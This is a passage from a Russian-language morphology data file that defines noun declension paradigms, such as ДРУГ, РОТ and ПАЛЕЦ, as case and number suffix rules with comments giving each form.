ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // ВРАЧАХ } paradigm /*ДРУГ*/ Сущ_1038 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+ЗЬЯ" } // ДРУГ ДРУЗЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-1%+ЗЕЙ" } // ДРУГА ДРУЗЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-1%+ЗЬЯМИ" } // ДРУГОМ ДРУЗЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-1%+ЗЕЙ" } // ДРУГА ДРУЗЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-1%+ЗЬЯМ" } // ДРУГУ ДРУЗЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-1%+ЗЬЯХ" } // ДРУГЕ ДРУЗЬЯХ } paradigm ТОВАРИЩ, Сущ_1039 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШЩ]" { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ТОВАРИЩ ТОВАРИЩИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // ТОВАРИЩА ТОВАРИЩЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЕМ" "%+АМИ" } // ТОВАРИЩЕМ ТОВАРИЩАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЕЙ" } // ТОВАРИЩА ТОВАРИЩЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ТОВАРИЩУ ТОВАРИЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ТОВАРИЩЕ ТОВАРИЩАХ } paradigm /*РОТ*/ Сущ_1041 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+Ы" } // РОТ РТЫ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // РТА РТОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // РТОМ РТАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%c1%+Ы" } // РОТ РТЫ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // РТУ РТАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // РТЕ РТАХ } paradigm /*КОГОТЬ*/ Сущ_1043 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c2%-1%+И" } // КОГОТЬ КОГТИ ПАДЕЖ:(РОД) ЧИСЛО { "%c2%-1%+Я" "%c2%-1%+ЕЙ" } // КОГТЯ КОГТЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%c2%-1%+ЁМ" "%c2%-1%+ЯМИ" } // КОГТЁМ КОГТЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%c2%-1%+И" } // КОГОТЬ КОГТИ ПАДЕЖ:ДАТ ЧИСЛО { "%c2%-1%+Ю" "%c2%-1%+ЯМ" } // КОГТЮ КОГТЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c2%-1%+Е" "%c2%-1%+ЯХ" } // КОГТЕ КОГТЯХ } paradigm КОНЬЯК, Сущ_1044 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[КГХШЩ]" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // КОНЬЯК ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // КОНЬЯКА ПАДЕЖ:(ПАРТ) ЧИСЛО:ЕД { "%+У" } :: flexer "partitiv" // КОНЬЯКУ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // КОНЬЯКОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // КОНЬЯК ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // КОНЬЯКУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // КОНЬЯКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+И" } :: flexer "pl" // КОНЬЯКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%+ОВ" } :: flexer "pl" // КОНЬЯКОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%+АМИ" } :: flexer "pl" // КОНЬЯКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+И" } :: flexer "pl" // КОНЬЯКИ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%+АМ" } :: flexer "pl" // КОНЬЯКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%+АХ" } :: flexer "pl" // КОНЬЯКАХ } paradigm /*ПАЛЕЦ*/ Сущ_1045 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬЦЫ" } // ПАЛЕЦ ПАЛЬЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬЦА" "%-2%+ЬЦЕВ" } // ПАЛЬЦА ПАЛЬЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬЦЕМ" "%-2%+ЬЦАМИ" } // ПАЛЬЦЕМ ПАЛЬЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-2%+ЬЦЫ" } // ПАЛЕЦ ПАЛЬЦЫ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬЦУ" "%-2%+ЬЦАМ" } // ПАЛЬЦУ ПАЛЬЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬЦЕ" "%-2%+ЬЦАХ" } // ПАЛЬЦЕ ПАЛЬЦАХ } paradigm СЛЕДОВАТЕЛЬ, Сущ_1046 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЕЛЬ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СЛЕДОВАТЕЛЬ СЛЕДОВАТЕЛИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // СЛЕДОВАТЕЛЯ СЛЕДОВАТЕЛЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // СЛЕДОВАТЕЛЕМ СЛЕДОВАТЕЛЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // СЛЕДОВАТЕЛЯ СЛЕДОВАТЕЛЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // СЛЕДОВАТЕЛЮ СЛЕДОВАТЕЛЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // СЛЕДОВАТЕЛЕ СЛЕДОВАТЕЛЯХ } paradigm /*ЧЕЛОВЕЧЕК*/ Сущ_1047 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+И" } // ЧЕЛОВЕЧЕК ЧЕЛОВЕЧКИ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ЧЕЛОВЕЧКА ЧЕЛОВЕЧКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // ЧЕЛОВЕЧКОМ ЧЕЛОВЕЧКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ЧЕЛОВЕЧКА ЧЕЛОВЕЧКОВ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // ЧЕЛОВЕЧКУ ЧЕЛОВЕЧКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // ЧЕЛОВЕЧКЕ ЧЕЛОВЕЧКАХ } paradigm /*КАФЕТЕРИЙ*/ Сущ_1048 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // КАФЕТЕРИЙ КАФЕТЕРИИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕВ" } // КАФЕТЕРИЯ КАФЕТЕРИЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // КАФЕТЕРИЕМ КАФЕТЕРИЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // КАФЕТЕРИЙ КАФЕТЕРИИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // КАФЕТЕРИЮ КАФЕТЕРИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+И" "%-1%+ЯХ" } // КАФЕТЕРИИ КАФЕТЕРИЯХ } paradigm /*ГРОМИЛА*/ Сущ_1049 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ГРОМИЛА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // ГРОМИЛЫ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ГРОМИЛОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ГРОМИЛОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ГРОМИЛУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ГРОМИЛЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ГРОМИЛЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // ГРОМИЛЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // ГРОМИЛ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ГРОМИЛАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1" } :: flexer "pl" // ГРОМИЛ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ГРОМИЛАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ГРОМИЛАХ } paradigm /*ПАПАША*/ Сущ_1050 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ПАПАША ПАПАШИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1" } // ПАПАШИ ПАПАШ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+АМИ" } // ПАПАШЕЙ ПАПАШАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // ПАПАШУ ПАПАШ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ПАПАШЕ ПАПАШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ПАПАШЕ ПАПАШАХ } paradigm /*ЮНОША*/ Сущ_1051 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ЮНОША ЮНОШИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1%+ЕЙ" } // ЮНЮШИ ЮНОШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+АМИ" } // ЮНОШЕЙ ЮНОШАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+ЕЙ" } // ЮНОШУ ЮНОШЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ЮНОШЕ ЮНОШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ЮНОШЕ ЮНОШАХ } paradigm /*ЕГЕРЬ*/ Сущ_1052 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Я" } // ЕГЕРЬ ЕГЕРЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // ЕГЕРЯ ЕГЕРЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // ЕГЕРЕМ ЕГЕРЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+Я" "%-1%+ЕЙ" } // ЕГЕРЯ ЕГЕРЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // ЕГЕРЮ ЕГЕРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // ЕГЕРЕ ЕГЕРЯХ } paradigm /*МУРАВЕЙ*/ Сущ_1054 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬИ" } // МУРАВЕЙ МУРАВЬИ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬЯ" "%-2%+ЬЁВ" } // МУРАВЬЯ МУРАВЬЁВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬЁМ" "%-2%+ЬЯМИ" } // МУРАВЬЁМ МУРАВЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЬЯ" "%-2%+ЬЁВ" } // МУРАВЬЯ МУРАВЬЁВ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬЮ" "%-2%+ЬЯМ" } // МУРАВЬЮ МУРАВЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬЕ" "%-2%+ЬЯХ" } // МУРАВЬЕ МУРАВЬЯХ } paradigm /*КУЛЁК*/ Сущ_1055 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬКИ" } // КУЛЁК КУЛЬКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // КУЛЬКА КУЛЬКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬКОМ" "%-2%+ЬКАМИ" } // КУЛЬКОМ КУЛЬКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-2%+ЬКИ" } // КУЛЁК КУЛЬКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬКУ" "%-2%+ЬКАМ" } // КУЛЬКУ КУЛЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬКЕ" "%-2%+ЬКАХ" } // КУЛЬКЕ КУЛЬКАХ } paradigm /*ПАРЕНЁК*/ Сущ_1056 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬКИ" } // ПАРЕНЁК ПАРЕНЬКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // ПАРЕНЬКА ПАРЕНЬКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬКОМ" "%-2%+ЬКАМИ" } // ПАРЕНЬКОМ ПАРЕНЬКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // ПАРЕНЬКА ПАРЕНЬКОВ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬКУ" "%-2%+ЬКАМ" } // ПАРЕНЬКУ ПАРЕНЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬКЕ" "%-2%+ЬКАХ" } // ПАРЕНЬКЕ ПАРЕНЬКАХ } paradigm /*ПЛАТЁЖ*/ Сущ_1057 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ПЛАТЁЖ ПЛАТЕЖИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // ПЛАТЕЖА ПЛАТЕЖЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ПЛАТЕЖОМ ПЛАТЕЖАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // ПЛАТЁЖ ПЛАТЕЖИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ПЛАТЕЖУ ПЛАТЕЖАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ПЛАТЕЖЕ ПЛАТЕЖАХ } paradigm /*САРАЙ*/ Сущ_1058 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // САРАЙ САРАИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-1%+ЕВ" } // САРАЯ САРАЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // САРАЕМ САРАЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // САРАЙ САРАИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // САРАЮ САРАЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // САРАЕ САРАЯХ } paradigm /*БУКА*/ Сущ_1059 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // БУКА БУКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1" } // БУКИ БУК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // БУКОЙ БУКАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // БУКОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // БУКУ БУК ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // БУКЕ БУКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // БУКЕ БУКАХ } paradigm /*ДЕДУШКА*/ Сущ_1060 : СУЩЕСТВИТЕЛЬНОЕ { ОДУШ:ОДУШ РОД:МУЖ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДЕДУШКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ДЕДУШКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ДЕДУШКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ДЕДУШКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ДЕДУШКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ДЕДУШКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ДЕДУШКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ДЕДУШКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-2%+ЕК" } :: flexer "pl" // ДЕДУШЕК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ДЕДУШКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-2%+ЕК" } :: flexer "pl" // ДЕДУШЕК ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ДЕДУШКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ДЕДУШКАХ } paradigm ДЯДЕНЬКА, Сущ_1061 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЬКА" { РОД:МУЖ ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДЯДЕНЬКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // ДЯДЕНЬКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // ДЯДЕНЬКОЙ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // ДЯДЕНЬКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // ДЯДЕНЬКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ДЯДЕНЬКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // ДЯДЕНЬКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-3%+ЕК" } :: flexer "pl" // ДЯДЕНЕК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ДЯДЕНЬКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-3%+ЕК" } :: flexer "pl" // ДЯДЕНЕК ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ДЯДЕНЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ДЯДЕНЬКАХ } paradigm /*ОРЁЛ*/ Сущ_1062 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+Ы" } // ОРЁЛ ОРЛЫ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ОРЛА ОРЛОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // ОРЛОМ ОРЛАМИ ПАДЕЖ:ВИН ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // ОРЛА ОРЛОВ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // ОРЛУ ОРЛАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // ОРЛЕ ОРЛАХ } paradigm /*ПЛАЩ*/ Сущ_1064 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ПЛАЩ ПЛАЩИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // ПЛАЩА ПЛАЩЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЁМ" "%+АМИ" } // ПЛАЩЁМ ПЛАЩАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // ПЛАЩ ПЛАЩИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ПЛАЩУ ПЛАЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ПЛАЩЕ ПЛАЩАХ } paradigm /*МЕСЯЦ*/ Сущ_1065 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // МЕСЯЦ МЕСЯЦЫ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%+А" } // --- МЕСЯЦА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕВ" } // МЕСЯЦА МЕСЯЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЕМ" "%+АМИ" } // МЕСЯЦЕМ МЕСЯЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+Ы" } // МЕСЯЦ МЕСЯЦЫ ПАДЕЖ:ВИН ЧИСЛО:МН { "%+А" } // --- МЕСЯЦА ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // МЕСЯЦУ МЕСЯЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // МЕСЯЦЕ МЕСЯЦАХ } paradigm КРИК, Сущ_1067 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@аК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // КРИК КРИКИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // КРИКА КРИКОВ ПАДЕЖ:(ПАРТ) ЧИСЛО:ЕД { "%+У" } // КРИКУ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // КРИКОМ КРИКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // КРИК КРИКИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // КРИКУ КРИКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // КРИКЕ КРИКАХ } paradigm /*ШОФЁР*/ Сущ_1069 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЕРА" } // ШОФЁР ШОФЕРА ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%-2%+ЕРОВ" } // ШОФЁРА ШОФЕРОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%-2%+ЕРАМИ" } // ШОФЁРОМ ШОФЕРАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%-2%+ЕРОВ" } // ШОФЁРА ШОФЕРОВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%-2%+ЕРАМ" } // ШОФЁРУ ШОФЕРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%-2%+ЕРАХ" } // ШОФЁРЕ ШОФЕРАХ } paradigm /*ВЕРХ*/ Сущ_1070 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // ВЕРХ ВЕРХИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // ВЕРХА ВЕРХОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // ВЕРХОМ ВЕРХАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // ВЕРХ ВЕРХИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // ВЕРХУ ВЕРХАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // ВЕРХЕ ВЕРХАХ } paradigm /*УЖАС*/ Сущ_1071 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+Ы" } // УЖАС УЖАСЫ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ОВ" } // УЖАСА УЖАСОВ ПАДЕЖ:(ПАРТ) ЧИСЛО:ЕД { "%+У" } // УЖАСУ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // УЖАСОМ УЖАСАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+Ы" } // УЖАС УЖАСЫ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // УЖАСУ УЖАСАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // УЖАСЕ УЖАСАХ } paradigm 